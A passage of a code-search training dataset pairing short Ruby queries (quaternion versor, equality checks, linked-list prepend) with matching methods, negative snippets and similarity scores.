] |
[
"0.7424701",
"0.69205356",
"0.6828851",
"0.66731066",
"0.6608091",
"0.63745207",
"0.6243272",
"0.6227756",
"0.6162305",
"0.6065019",
"0.5958431",
"0.5948012",
"0.58266836",
"0.57888806",
"0.57573503",
"0.57524544",
"0.5740608",
"0.57361263",
"0.5725177",
"0.5651427",
"0.5632296",
"0.5625893",
"0.562585",
"0.5609562",
"0.5571522",
"0.557151",
"0.55510354",
"0.5547821",
"0.55248284",
"0.55003583",
"0.54909503",
"0.5454209",
"0.5443896",
"0.5441646",
"0.5441629",
"0.54294205",
"0.5424612",
"0.54237735",
"0.53914505",
"0.5389528",
"0.53884643",
"0.5348035",
"0.5332476",
"0.53236485",
"0.5318848",
"0.5306333",
"0.5300162",
"0.52653646",
"0.52528244",
"0.52429396",
"0.5232026",
"0.5219862",
"0.5196309",
"0.51301485",
"0.5108837",
"0.5089624",
"0.5087128",
"0.50742775",
"0.5055896",
"0.504763",
"0.5042851",
"0.5036779",
"0.5020914",
"0.50157523",
"0.49985233",
"0.4995463",
"0.49871185",
"0.49837258",
"0.4980343",
"0.4954335",
"0.49504575",
"0.49027592",
"0.490134",
"0.49006203",
"0.48858508",
"0.48642403",
"0.4851829",
"0.4851829",
"0.4831069",
"0.4829895",
"0.48284397",
"0.4823755",
"0.48202342",
"0.4800996",
"0.47913983",
"0.47880507",
"0.47718585",
"0.47575006",
"0.4755552",
"0.47283867",
"0.47258115",
"0.47250873",
"0.4716587",
"0.47100732",
"0.46945924",
"0.46945924",
"0.46945924",
"0.4690452",
"0.46829224",
"0.4659855"
] |
0.70567596
|
1
|
Returns the versor of this Quaternion
|
def versor
self / norm
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_rotation\n return @rotation\n end",
"def inverse\n result = UnitQuaternion.new\n result.set(@beta0, *(-1*@beta_s))\n return result\n end",
"def v4_3\n return @v4_3\n end",
"def v4_0_3\n return @v4_0_3\n end",
"def newton_version\n MSPhysics::Newton.get_version\n end",
"def exp\n # e^(r+uv)=exp(r)(cos(v)+u*sin(v))\n if is_real?; return Quaternion(Math::exp(@re)); end\n vec=self.vector; v=vec.abs; u = vec/v;\n Math::exp(@re)*(Math::cos(v)+u*Math::sin(v))\n end",
"def to_vr\n vr = @r.nil? ? @v.to_s : \"#{@v}-#{@r}\"\n end",
"def to_s\r\n \"Quaternion: axis: x #{axis.x} y #{axis.y} z #{axis.z} real #{real}\"\r\n end",
"def reciprocalize\n Unit.unity / self\n end",
"def inverse\r\n quaternion.inverse!\r\n end",
"def engine_version\n stats.version\n end",
"def volume_ft3\n self.volume\n end",
"def % other\n if other.is_a? Quaternion\n raise \"invalid operation\"\n else\n Quaternion.new @t0%other, @t1%other, @t2%other, @t3%other\n end\n end",
"def previous_version\n self[:previous_version]\n end",
"def getVersion\r\n\t\t\t\t\treturn @version\r\n\t\t\t\tend",
"def orientation \n @position - @prev_position\n end",
"def exp\n\t\t\tmag = self.vec.mag\n\t\t\tMath::exp( self.scalar ) * Quaternion::sv2q( cos(mag), sin(mag) * self.vec/mag )\n\t\tend",
"def engine_version\n data[:engine_version]\n end",
"def engine_version\n data[:engine_version]\n end",
"def version\n self[:version]\n end",
"def v4_0\n return @v4_0\n end",
"def v4_1\n return @v4_1\n end",
"def v9_0\n return @v9_0\n end",
"def ver\n @values['ver']\n end",
"def -( otherQuat )\n\t\t\tself.class.new( @elem[0] - otherQuat[0],\n\t\t\t\t\t\t @elem[1] - otherQuat[1],\n\t\t\t\t\t\t @elem[2] - otherQuat[2],\n\t\t\t\t\t\t @elem[3] - otherQuat[3] )\n\t\tend",
"def quarts\n Measurements::USVolume.new(self, :quart)\n end",
"def fl_oz\n Measurements::USVolume.new(self, :fl_oz)\n end",
"def v4_2\n return @v4_2\n end",
"def previous_version\n\t\tif not self.class.is_versioned?\n\t\t\traise \"object is not versioned, configure versioning in model file\"\n\t\tend\n\t\tif previous_object_version = self.versions.first\n\t\t\tprevious_object_version.to_inki_object\n\t\telse\n\t\t\tnil\n\t\tend\n\tend",
"def yaw\n to_euler[0]\n end",
"def v13_0\n return @v13_0\n end",
"def vat_rate\n end",
"def current_version\n @version\n end",
"def zrotation\n end",
"def version\n attributes.fetch(:version)\n end",
"def version\n attributes.fetch(:version)\n end",
"def version\n attributes.fetch(:version)\n end",
"def version\n attributes.fetch(:version)\n end",
"def version\n attributes.fetch(:version)\n end",
"def current_version\n versions.first\n end",
"def version\n return @version\n end",
"def version\n return @version\n end",
"def version\n return @version\n end",
"def version\n return @version\n end",
"def version\n return @version\n end",
"def version\n return @version\n end",
"def version\n return @version\n end",
"def version\n return @version\n end",
"def version\n return @version\n end",
"def version\n @version ||= data.version\n end",
"def versions\n @versions ||= Versions.new(self)\n end",
"def versions\n @versions ||= Versions.new(self)\n end",
"def previous_version\n current_version - 1\n end",
"def volume; self.class.volume; end",
"def get_version\n\t\tend",
"def version\n Metior::VERSION\n end",
"def version\n @version.dup\n end",
"def version\n @version.dup\n end",
"def beta\n return @beta\n end",
"def getrf!\n info, stor, piv = Lapack::getrf!(@storage)\n if info > 0\n raise RNum::SingularError, \\\n \"Element (#{info-1}, #{info-1}) is exactly singular.\"\n end\n return [self, piv]\n end",
"def version\n @attributes[:version]\n end",
"def version\n @attributes[:version]\n end",
"def get_version()\n\t\tend",
"def volume\n return (4.0/3.0) * Math::PI * self.radius**3\n end",
"def series_volume\n end",
"def get_vibration\n $game_system.vibration_rate\n end",
"def current_version\n self.historical? ? self.class.find(self.id) : self\n end",
"def current_version\n self.historical? ? self.class.find(self.id) : self\n end",
"def to_qt\n Qt::Quaternion.new(w, x, y, z)\n end",
"def get_volume\n @volume\n end",
"def current_version\n version_number rev\n end",
"def v4_4\n return @v4_4\n end",
"def vida\n @vida_actual\n end",
"def version\n self.class.version\n end",
"def magnetic_variation_degrees\n self.class.nsew_signed_float(@fields[10], @fields[11])\n end",
"def magnetic_variation_degrees\n self.class.nsew_signed_float(@fields[4], @fields[5])\n end",
"def getVersions\r\n\t\t\t\t\treturn @versions\r\n\t\t\t\tend",
"def version\n fetch('vehicle.version')\n end",
"def version\n\t\treturn @version ||= self.find_version\n\tend",
"def version\n data.version\n end",
"def version\n @version\n end",
"def current_version\n versions.current_versions.first\n end",
"def engine_version\n\t\tAgent.engine_version_for_agent string\n\tend",
"def z\n return @z\n end",
"def previous_version\n preceding_version = trail_version ? previous_trail_version : versions.last\n preceding_version.try :reify\n end",
"def previous_version\n @previous_version ||= previous_versions[0]\n end",
"def version\n @version ||= __determine_version\n end",
"def version\n @version ||= create_version\n end",
"def version\n @version || 0\n end",
"def unit \n\t\t\tunitq = self.dup\n\t\t\tmagnitude = self.abs\n\t\t\tunitq[0] /= magnitude\n\t\t\tunitq[1] /= magnitude\n\t\t\tunitq[2] /= magnitude\n\t\t\tunitq[3] /= magnitude\n\t\t\treturn unitq\n\t\tend",
"def magnitude\n Math.sqrt self.dot self\n end",
"def versions\n info[:versions]\n end",
"def rpm_version\n @lead.rpm_version\n end",
"def pitch\n @grpc.tilt_angle\n end",
"def versioned_asset\r\n s=self.sop\r\n s=s.parent if s.class.name.end_with?(\"::Version\")\r\n if version.nil?\r\n s.latest_version\r\n else\r\n s.find_version(sop_version)\r\n end\r\n end",
"def version\n next_version\n end",
"def Terreno\n\t\treturn @terreno\n\tend",
"def trade_value\n 0.4\n\n end",
"def music_volume\n return @music_volume\n end",
"def major_engine_version\n data.major_engine_version\n end"
] |
[
"0.5861304",
"0.58144236",
"0.57364124",
"0.56396675",
"0.56191534",
"0.5575057",
"0.5555586",
"0.5527554",
"0.55040705",
"0.5497734",
"0.54316986",
"0.5414937",
"0.53658736",
"0.5351508",
"0.5323392",
"0.5296935",
"0.52861214",
"0.5277911",
"0.5277911",
"0.52749354",
"0.52608746",
"0.5248253",
"0.5236975",
"0.5229193",
"0.5219419",
"0.52187634",
"0.5207899",
"0.51912576",
"0.51806617",
"0.5177135",
"0.51710546",
"0.517013",
"0.5165803",
"0.5162199",
"0.5153126",
"0.5153126",
"0.5153126",
"0.5153126",
"0.5153126",
"0.51513445",
"0.5130109",
"0.5130109",
"0.5130109",
"0.5130109",
"0.5130109",
"0.5130109",
"0.5130109",
"0.5130109",
"0.5130109",
"0.51209766",
"0.5118583",
"0.5118583",
"0.51136863",
"0.51107997",
"0.51106536",
"0.51101327",
"0.5105766",
"0.5105766",
"0.51036245",
"0.51001835",
"0.5094535",
"0.5094535",
"0.50823635",
"0.5081262",
"0.50788003",
"0.5078441",
"0.50741994",
"0.50741994",
"0.5057988",
"0.50579387",
"0.5044882",
"0.5023711",
"0.501436",
"0.5014213",
"0.50138855",
"0.5012875",
"0.5006505",
"0.5001269",
"0.50001806",
"0.49919748",
"0.49895206",
"0.4986825",
"0.49774185",
"0.49737307",
"0.49729675",
"0.4972494",
"0.4970524",
"0.49604163",
"0.4957867",
"0.4955632",
"0.4945203",
"0.49380854",
"0.4935328",
"0.49300495",
"0.4918264",
"0.4906743",
"0.49029046",
"0.48993078",
"0.4896608",
"0.4896506"
] |
0.7034304
|
0
|
Check equality between this +Quaternion+ and _other_.
|
def ==(other)
eql?(other)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def ==(other)\n @prev_out == other.prev_out &&\n @prev_out_index == other.prev_out_index &&\n @script_sig == other.script_sig &&\n @sequence == other.sequence\n end",
"def ==(other)\n return false unless other.is_a?(Signature)\n r == other.r && s == other.s\n end",
"def eql?(other)\n if ! other.is_a?(self.class)\n false\n else\n [@mean, @variance] == [other.mean, other.variance]\n end\n end",
"def ===(other)\n false\n end",
"def ==(other)\n (other.class == self.class) && (other.to_der == self.to_der)\n end",
"def ==(other)\n (other.class == self.class) && (other.to_der == self.to_der)\n end",
"def ===(other)\n return false unless (self == other)\n end",
"def ==(other)\n return false if !other\n data == other.data && version == other.version\n end",
"def eql?(other)\n other.class == self.class && other.members.eql?(self.members)\n end",
"def ==(other) # rubocop:disable Metrics/AbcSize, Metrics/CyclomaticComplexity\n return true if equal?(other)\n return false unless other.instance_of?(self.class)\n return false unless other.timestamp == timestamp\n return false unless other.deleted? == deleted?\n return false unless other.identifier == identifier\n return false unless other.metadata_root.to_s == metadata_root.to_s\n true\n end",
"def ==(other)\n self.class === other and @sequence == other.sequence\n end",
"def eql?(other)\n return false unless other.captures_hash == captures_hash\n return false unless other.squares_hash == squares_hash\n return false unless other.turn == turn\n return false unless other.state == state\n\n true\n end",
"def equal?(other)\n return false unless type == other.type\n return false unless power == other.power\n return false unless prefix == other.prefix\n return true\n end",
"def eql?(other)\n self == (other)\n end",
"def ==(other)\n return false unless other.class == self.class\n\n return identity == other.identity\n end",
"def ==(other)\n super\n end",
"def ==(other)\n super\n end",
"def ==(other)\n matches(other) && @values == other.values\n end",
"def is_equivalent_to?(other)\n return false if other.nil?\n return false unless self.factor == other.factor\n return false unless self.scaling == other.scaling\n return false unless self.dimensions == other.dimensions\n true\n end",
"def eql?(other)\n return false\n end",
"def eql?(other)\n return false if (other.nil? or self.class != other.class)\n ova = other.instance_variables\n iv = instance_variables\n return false if ova.size != iv.size\n iv.each do |vid|\n return false if instance_variable_get(vid) != other.instance_variable_get(vid)\n end\n true\n end",
"def ==(other)\n return false if other.class != self.class\n if @type != other.type ||\n @name != other.name ||\n @container != other.container ||\n !(@injury == other.injury)\n return false\n end\n return true\n end",
"def ===(other)\n other.is_a?(self)\n end",
"def ==(other)\n super\n end",
"def == other\n return (@value == other.value) &&\n (@transition == other.transition)\n end",
"def ==(other)\n (other.base == self.base) && other.factor == self.factor\n end",
"def ==(other)\n relation_class_name == other.relation_class_name &&\n inverse_class_name == other.inverse_class_name &&\n name == other.name &&\n options == other.options\n end",
"def ==(other)\n `return self.valueOf() === other.valueOf() ? Qtrue : Qfalse;`\n end",
"def ==(other)\n `return self.valueOf() === other.valueOf() ? Qtrue : Qfalse;`\n end",
"def ==(other)\n\tother_units = units_for_other(other)\n\tif @units and other_units\n\t (@units == other_units) and super(other)\n\telsif @units or other_units\n\t false\n\telse\n\t super(other)\n\tend\n end",
"def eql?(other)\n\t\tif other.kind_of?(self.class)\n\t\t\t@a.eql?(other.a) && @b.eql?(other.b)\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend",
"def equal?(other); end",
"def eql? (other)\n other.is_a?(Triple) &&\n (other.subject == self.subject || other.subject.nil? || self.subject.nil?) &&\n (other.predicate == self.predicate || other.predicate.nil? || self.predicate.nil?) &&\n (other.object == self.object || other.object.nil? || self.object.nil?)\n end",
"def ==(other)\n if other.respond_to? :unwrap\n unwrap == other.unwrap\n else\n super\n end\n end",
"def eql?(other)\r\n other.class == self.class && other.hash == self.hash && _eql?(other)\r\n end",
"def eql?(other)\n self == other\n end",
"def eql?(other)\n return other.is_a?(self.class) &&\n @generator == other.generator &&\n @location == other.location &&\n @scale == other.scale\n end",
"def ===(other)\n equal? other\n end",
"def ===(other)\n equal? other\n end",
"def ==(other)\n other.is_a?(self.class) &&\n name == other.name &&\n attributes == other.attributes\n end",
"def ==(other)\n return true if equal?(other)\n return false unless other.class == self.class\n return true if these_fields_are_equal(other)\n\n false\n end",
"def ==(other)\n return false unless other.instance_of? self.class\n attributes == other.attributes\n end",
"def eql?(other)\n self == other\n end",
"def eql?(other)\n self == other\n end",
"def eql?(other)\n self == other\n end",
"def eql?(other)\n self == other\n end",
"def eql?(other)\n self == other\n end",
"def eql?(other)\n\t if other.zero?\n\t\t@value.zero?\n\t elsif other.respond_to?(:units)\n\t\tif other.respond_to? :value\n\t\t @units.eql?(other.units) and @value.eql?(other.value)\n\t\telse\n\t\t other == self\n\t\tend\n\t else\n\t\t@units.nil? and @value.eql?(other)\n\t end\n\tend",
"def ==(quaternion)\r\n (@axis == quaternion.axis)&&(@real == quaternion.real)\r\n end",
"def eql?(other)\n self == other\n end",
"def ==(other)\n other.is_a?(self.class) &&\n self.id == other.id &&\n self.storage_key == other.storage_key\n end",
"def ==(other)\n res = true\n ASSIGNABLE_MEMBERS.each do |k|\n l_val = send(\"#{k}\")\n r_val = other.send(\"#{k}\")\n res = false if l_val != r_val\n end\n res\n end",
"def == other\n other.is_a?( self.class ) &&\n other.null_object_signature == null_object_signature\n end",
"def eql?(other)\n other.is_a?(self.class) && !self.class.comparison_attrs.find{|a| send(a) != other.send(a)}\n end",
"def eql?(other)\n return false unless other.class == self.class\n\n return identity == other.identity &&\n attributes == other.attributes &&\n session == other.session\n end",
"def eql? other\n self == other\n end",
"def ==(other)\n return false if other.class != self.class\n attr_hash == other.attr_hash\n end",
"def eql?(other)\n return true if other.equal?(self)\n instance_of?(other.class) && to_ary.eql?(other.to_ary)\n end",
"def ==(other)\n eql?(other)\n end",
"def eql?(other)\n return false if self.class != other.class\n self.to_hash == (other.respond_to?(:to_hash) ? other.to_hash : nil)\n end",
"def ==(other)\n # If the classes don't match, they cannot possibly be equal.\n if self.class != other.class\n return false\n end\n\n # If the persisted state doesn't match, they also can never be equal.\n if persisted? != other.persisted?\n return false\n end\n\n # When persisted, check the other's id to see if it's the same,\n # cannot possible be equals if they have different ids.\n if persisted? && id != other.id\n return false\n end\n\n # Finally, compare the attributes hash. If all key/values match,\n # they are considered equal.\n attributes == other.attributes\n end",
"def eql?(other)\n self == other && (palette.nil? || other.palette.nil? || (palette == other.palette && index == other.index))\n end",
"def ==(other)\n case other\n when self.class\n hash == other.hash\n else\n false\n end\n end",
"def eql?(other)\n super\n end",
"def eql?(other)\n super\n end",
"def eql?(other) #:nodoc:\n return self == other\n end",
"def ==(other)\n super && other.e == e && other.n == n\n end",
"def ==(other)\n super && other.e == e && other.n == n\n end",
"def ==(other)\n super || object == other\n end",
"def ==(other)\n self.<=>(other).zero?\n end",
"def eql?(other)\n @r.eql?(other.r) && @g.eql?(other.g) && @b.eql?(other.b)\n end",
"def eql?(other)\n return self == other\n end",
"def equals(other_object)\n if !(other_object.instance_of? Temperature) then\n false\n else\n (other_object.getKelvin().degrees == self.getKelvin().degrees)\n end\n end",
"def ==(other)\n return false unless type == other.type\n return false unless power == other.power\n #return false unless prefix == other.prefix\n return true\n end",
"def ==(other); false; end",
"def ==(other)\n eql?(other)\n end",
"def ===(other)\n return false unless self.type == other.type\n return true\n end",
"def eql?(other)\n self.class.eql?(other.class) &&\n self.name.eql?(other.name) &&\n self.args.eql?(other.args)\n end",
"def ==(other)\n return false if self.class != other.class\n fields.all? do |field|\n name = field[:name]\n instance_variable_get(name) ==\n other.instance_variable_get(name)\n end\n end",
"def ===(other)\n self == other || (transparent? && other.transparent?)\n end",
"def eql?(other)\n return self.instance_variables.all?{ |v|\n self.instance_variable_get(v).hash == other.instance_variable_get(v).hash\n }\n end",
"def ===(other)\n if other.is_a?(right_class)\n value === other.value\n else\n super\n end\n end",
"def eql?(other)\n other.is_a?(self.class) && self == other\n end",
"def eql?(other)\n other.is_a?(self.class) && self == other\n end",
"def ==(other)\n other.kind_of?(self.class) &&\n @name == other.name && @columns == other.columns && @unique == other.unique?\n end",
"def eql?(other)\n other.class == self.class && self == other\n end",
"def eql?(other)\n other.kind_of?(self.class) && other.dimension.eql?(self.dimension) && other.system.eql?(self.system) && other.name.eql?(self.name)\n end",
"def ==(other)\n self.class == other.class and\n self.name == other.name\n end",
"def ==(other)\n [@name, @value] == [other.name, other.value]\n end",
"def ==(other)\n to_hash == other.to_hash\n end",
"def ==(other)\n return false unless super\n true\n end",
"def == other\n @avi == other.avi\n end",
"def eql?(other)\n other.instance_of?(self.class) && self == other\n end",
"def eql?( other )\n\t\treturn false unless other.class.eql?( self.class )\n\t\treturn self.hash == other.hash\n\tend",
"def ==(other); end",
"def ==(other); end",
"def ==(other); end",
"def ==(other); end",
"def ==(other); end",
"def ==(other); end",
"def ==(other); end"
] |
[
"0.6957159",
"0.6933347",
"0.690714",
"0.68919915",
"0.68746436",
"0.68746436",
"0.67618036",
"0.6752472",
"0.6709065",
"0.6693967",
"0.6691978",
"0.6659211",
"0.6652678",
"0.6637433",
"0.6634698",
"0.66251314",
"0.66251314",
"0.66087955",
"0.66035426",
"0.6589601",
"0.65767497",
"0.65313137",
"0.6521274",
"0.6512493",
"0.6510208",
"0.65074044",
"0.65062225",
"0.6497312",
"0.6497312",
"0.6484289",
"0.6483478",
"0.6471041",
"0.64626205",
"0.6458471",
"0.6458285",
"0.64579004",
"0.6450383",
"0.645038",
"0.645038",
"0.6450301",
"0.6445016",
"0.6443912",
"0.6443546",
"0.6443546",
"0.6443546",
"0.6443546",
"0.6443546",
"0.6442813",
"0.6442057",
"0.6439013",
"0.6428391",
"0.6424167",
"0.64236706",
"0.6423289",
"0.6420123",
"0.6418715",
"0.64164686",
"0.64163715",
"0.6414519",
"0.6402766",
"0.63959384",
"0.6392088",
"0.6389791",
"0.6389579",
"0.6389579",
"0.63880074",
"0.6386076",
"0.6386076",
"0.63856226",
"0.63855743",
"0.63833153",
"0.637251",
"0.6367675",
"0.63657105",
"0.63602316",
"0.6356697",
"0.63542694",
"0.63485277",
"0.6347618",
"0.63474816",
"0.6347338",
"0.63394856",
"0.6332063",
"0.6332063",
"0.6328263",
"0.63252467",
"0.6325066",
"0.63123894",
"0.63116235",
"0.63086283",
"0.63035",
"0.629878",
"0.62983376",
"0.62957114",
"0.62936306",
"0.62936306",
"0.62936306",
"0.62936306",
"0.62936306",
"0.62936306",
"0.62936306"
] |
0.0
|
-1
|
Add a new node to the start of the list
|
def prepend( value )
new_node = Node.new value
# Whatever node was at the start of the list, it
# is now the 'next' node for our newly created node
new_node.next = @head
# The new head of the list is set to be the new
# node that we just created
@head = new_node
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def prepend(value)\n new_node = create_node(value)\n new_node.next_node = head\n self.head = new_node\n self.size += 1\n end",
"def add_first(data)\n\n new_node = Node.new(data) # create a new node\n new_node.next = @head # assign the new node's NEXT to the @head\n @head = new_node # assign the head position to the new node\n end",
"def add_first(data)\n @head = Node.new(data, @head)\n end",
"def add_first(data)\n @head = Node.new(data, @head)\n end",
"def add_first(data)\n @head = Node.new(data, @head)\n end",
"def add_first_node(data)\n\t\t@head = Node.new(data, nil)\n\t\t@last = @head\n\tend",
"def add_first(data) \n @head = Node.new(data, @head)\n end",
"def prepend(entry)\n node = new_node(entry)\n node.next_node = head\n @head = node\n end",
"def add_first(data)\n new_node = Node.new(value, @head)\n @head = new_node\n end",
"def insert_beginning(*val)\n \n val.each do |nuevo_nodo|\n \n if @head != nil\n \n @head.previous = nuevo_nodo\n nuevo_nodo.next = @head\n @head = nuevo_nodo\n else\n @head = nuevo_nodo\n end\n @num_nodos += 1\n \n end\n end",
"def prepend(value)\n @head = Node.new(value, @head)\n @size += 1\n end",
"def add_at_head(val)\n if @llist\n old_head = @llist\n @llist = Node.new(val)\n @llist.add_next_node old_head\n else\n @llist = Node.new(val)\n end\n end",
"def add_first(value)\r\n @head = Node.new(value, @head)\r\n end",
"def add_first(data)\n new_node = Node.new(data, nextNode = @head)\n @head = new_node\n end",
"def add_first(data)\n new_node = Node.new(data)\n new_node.next = @head\n @head = new_node\n end",
"def add_first(data)\n new_node = Node.new(data)\n new_node.next = @head\n @head = new_node\n end",
"def prepend (number)\n # create a new node\n this_node = Node.new(number)\n \n # make new node point to head, and save it to head\n this_node.next_node = head\n @head = this_node\n end",
"def add_first(value)\r\n @head = Node.new(value, @head)\r\n end",
"def prepend(val)\n\t\t# create a new node\n\t\tnew_node = Node.new(val, @head)\n\t\t# update head\n\t\t@head = new_node\n\tend",
"def add_first(data)\n @head = Node.new(data, head)\n end",
"def add_first_node(data)\n @head = Node.new(data, nil)\n @tail = @head\n end",
"def prepend(val)\n new_node = Node.new(val, @head)\n @head = new_node\n end",
"def add_node(node); end",
"def add_first(value)\r\n new_node = Node.new(value, @head)\r\n @head = new_node\r\n end",
"def prepend( value )\n new_node = Node.new value\n new_node.next = @head\n @head = new_node\n end",
"def add_first(node)\n node.next_node = @head\n @head.prev_node = node unless @head.nil?\n @head = node\n end",
"def push(item)\n @start = Node.new(item, @start)\n self\n end",
"def prepend(value)\n new_node = Node.new(value)\n new_node.next = @node\n @node = new_node\n end",
"def add_first(value)\r\n current = @head\r\n # add new node with provided value and set next to current\r\n new_node = Node.new(value, current)\r\n # new node becomes head\r\n @head = new_node\r\n end",
"def add_first(data)\n new_node = Node.new(data, @head)\n\n @head = new_node\n\n return new_node\n end",
"def unsorted_add(item)\n @head = Node.new(item,@head)\n end",
"def prepend(value)\n new_node = Node.new(value, @head)\n @tail = new_node unless @head\n @head = new_node\n @size += 1\n end",
"def add_at_head(val)\n first = Node.new(val)\n first.next = @head\n @head = first\n @length += 1\n end",
"def prepend(data)\n\t\t@previous_head = @head\n\t\t@head = Node.new(data, @previous_head)\n\tend",
"def add_first(data)\n # Create a new node\n new_node = Node.new(data)\n if @head.nil?\n @head = new_node\n return\n end\n\n new_node.next = @head \n # conection between the new node and the next one that is the head.\n @head = new_node # The new node becomes the head.\n\n end",
"def prepend(value)\n @head = Node.new(value, head)\n end",
"def add_node(n)\n @nodes.push n unless @nodes.include? n\n end",
"def add(node)\r\n @nodes << node\r\n end",
"def prepend(value)\n newNode = Node.new(value)\n if @list == nil\n @list = newNode\n else\n prevList = list\n @list = newNode\n @list.nextNode = prevList\n end\n end",
"def prepend(value)\n new_node = Node.new(value)\n @node_counter += 1\n if @head == nil\n @head = new_node\n else\n new_node.next_node = @head\n @head = new_node\n end\n end",
"def prepend(value)\n #Instantiate the object to be the new head\n new_node = Node.new value\n #Set its next value to the current head\n new_node.next = @head\n @head.before = new_node\n #Set the new one as the new head by repointing SinglyLinkedList head to it\n @head = new_node\n end",
"def prepend(value)\n\t\t@head.next_node = Node.new(value, @head.next_node)\n\tend",
"def prepend(x)\n el = ListElement.new(x)\n el.next = @head\n @head = el\n end",
"def prepend(value = nil)\n node = @head\n @head = Node.new(value, node)\n end",
"def prepend(data)\n node = Node.new(data)\n node.next_node = @head\n @head = node\n end",
"def add_first(data)\n first = Node.new(data, head)\n @head = first\n end",
"def prepend(value)\n if @head.nil?\n @head = Node.new(value)\n else\n old_point = @head\n @head = Node.new(value)\n @head.next = old_point\n # old_next = @head.next\n # p old_next\n # @head = Node.new(value)\n # @head.next = old_next\n # head is hi\n # replace head with new value\n # make head next the hi attribute\n end\n end",
"def add_first(value)\n new_node = Node.new(value)\n\n if @head != nil # if linked list is not empty\n new_node.next = @head\n end\n\n @head = new_node\n end",
"def prepend(value)\n node = Node.new\n node.value = value\n node.next = head\n @head = node\n end",
"def prepend(value)\n node = Node.new\n node.value = value\n \n if @head.nil?\n @head = node\n @tail = node\n else\n node.next_node = @head\n @head = node\n end\n @size += 1\n end",
"def add_at_head(val)\n @list.unshift(val)\n end",
"def prepend(value)\n\t\t\telement = RubyStructures::Node.new(self, value)\n\t\t\telement.next = @head.next\n\t\t\t@head.next = element\n\t\tend",
"def prepend(data)\n new_node = Node.new(data: data)\n new_node.next_node = @head\n @head = Node.new(data: data, next_node: @head)\n end",
"def add_to_front(node)\n node.set_next(@head)\n @head = node\n end",
"def prepend\n if @size == 0\n @head = Node.new\n @tail = @head\n elsif @size == 1\n @head = Node.new\n @head.next_node = @tail\n else\n new_node = Node.new\n new_node.next_node = @head\n @head = new_node\n end\n\n @size += 1\n @head\n end",
"def prepend(value)\n node = Node.new(value)\n if @head.nil?\n @head = node\n else\n node.next_node = @head\n @head = node\n end\n end",
"def prepend(node)\n node.next = @head.next\n @head.next = node\n end",
"def prepend(node_value = nil)\n node = Node.new(node_value)\n if @head.nil?\n @tail = node\n else\n node.next_node = @head\n end\n @head = node\n end",
"def insert_head(nodo)\n if (nodo.instance_of? Nodo) == false\n nodo = Nodo.new(nodo,nil,nil)\n end\n raise \"Error la lista debe contener nodos\" unless ( nodo.instance_of? Nodo )\n nodo.next = @head\n @head.prev = nodo\n nodo.prev = nil\n @nodos = @nodos +1\n @head = nodo\n end",
"def add_node(node)\n @nodes.add node\n end",
"def test_prepend_can_add_item_to_beginning_of_list\n list = LinkedList.new(\"purple\")\n list.prepend(\"brown\")\n\n assert_equal \"brown purple\", list.to_string\n assert_equal \"brown\", list.prepend(\"brown\")\n end",
"def prepend(value)\n if @head.nil?\n @head = Node.new(value)\n else\n current_node = @head\n new_node = Node.new(value)\n @head = new_node\n @head.next_node = current_node\n end\n end",
"def prepend\n new_node = Node.new\n\n if @head.nil?\n @head = new_node\n @tail = new_node\n @head.next_node = @tail\n @tail.next_node = nil\n else\n new_node.next_node = @head\n @head = new_node\n end\n end",
"def prepend(value)\n p = Node.new(value);\n p.prev = nil;\n p.next = self.head;\n self.head.prev = p;\n self.head = p;\n end",
"def prepend(node)\n \t if @root==nil\n @root=node\n @tail=node\n else\n node.next_node=@root\n @root=node\n end\n @size+=1\n end",
"def add_first(elt)\n @head = Node.new(elt, @head, nil)\n if @size == 0\n @tail = @head\n else\n @head.next.previous = @head\n end\n @size += 1\n end",
"def insert_head(node_value)\n # If the SLL is empty, create a node with the given value and set it to head\n if empty?\n @head = Node.new(node_value)\n else\n # Otherwise, hold the head in a temporary var\n hold = @head\n # Create a new node and set it as the head\n @head = Node.new(node_value)\n # Set the next prop on the new head to point to the hold var\n @head.next = hold\n end\n\n # Increment size by 1, regardless of how many nodes exist\n @size += 1\n # Return the new head; alternatively, return self to make the methods chainable\n @head\n end",
"def add(val)\n get_node(val) #every new element that has to be added should point to a new node correponding to it.\n list_size = @elements.size\n last_element_index = list_size - 1\n @elements[last_element_index].next_node = list_size\n new_element_index = list_size\n @elements[new_element_index] = @node\n end",
"def add_node(node)\n\t\t\tunless has_node?(node)\n\t\t\t\t@nodes[node] = new_node(node)\n\t\t\t\t@order += 1\n\t\t\tend\n\t\t\tself\n\t\tend",
"def add_to_front(node)\n node.next = @head\n @head = node\n end",
"def add_to_front(node)\n node.next = self.head # previous head becomes second, after the node\n self.head = node # the node becomes the new head\n if self.tail == nil\n self.tail = node # if the list was empty, then the node is also the new tail\n end\n end",
"def add_node(value)\n add_node_support(value, :linked_list)\n end",
"def add_node(value)\n if @head\n @head = Node.new value, @head\n else\n @head = Node.new value, nil\n end\n end",
"def add_node_front(input)\n if !@head\n @head = Node.new(input)\n else\n temp = @head\n @head = Node.new(input)\n @head.next = temp\n end\n end",
"def prepend(surname)\n new_node = Node.new(surname)\n add_to_count\n if @head == nil\n @head = new_node\n else\n #attach current head to come after new node, then add new node as head.\n new_node.next_node = head\n @head = new_node\n end\n return new_node\n end",
"def add_to_front(node)\n node.next = self.head\n self.head = node\n end",
"def add_to_front(node)\n node.next = self.head\n self.head = node\n end",
"def add_to_front(node)\n node.next = self.head\n self.head = node\n end",
"def add(value)\n\t\tif @head != nil \n\t\t\tcurrent = @head\n\t\t\twhile current.nnode != nil\n\t\t\t\tcurrent = current.nnode\n\t\t\tend\n\t\t\tcurrent.nnode = Node.new(value, nil)\n\t\telse\n\t\t\t@head = Node.new(value,nil)\n\t\tend\n\tend",
"def insert_before(x,rel)\n x = ListElement.new(x) \n\n #inserting at the beginnig of the list \n if rel == head\n x.next = head\n self.head = x\n\n #inserting in the tail of the list\n else\n el = head\n prev = head\n while el and el != rel\n prev = el\n el = el.next\n end\n\n if el.nil?\n raise ListError, \"List element not found\"\n else\n prev.next = x\n x.next = el\n end\n end\n end",
"def add_to_front(node)\n temp = @head\n @head = node\n @head.next = temp\n end",
"def prepend(newEntry)\n if @head.nil?\n @head = newEntry\n @tail = newEntry \n else\n newEntry.next = @head \n @head = newEntry\n end \n end",
"def prepend(node)\n children.prepend(node)\n end",
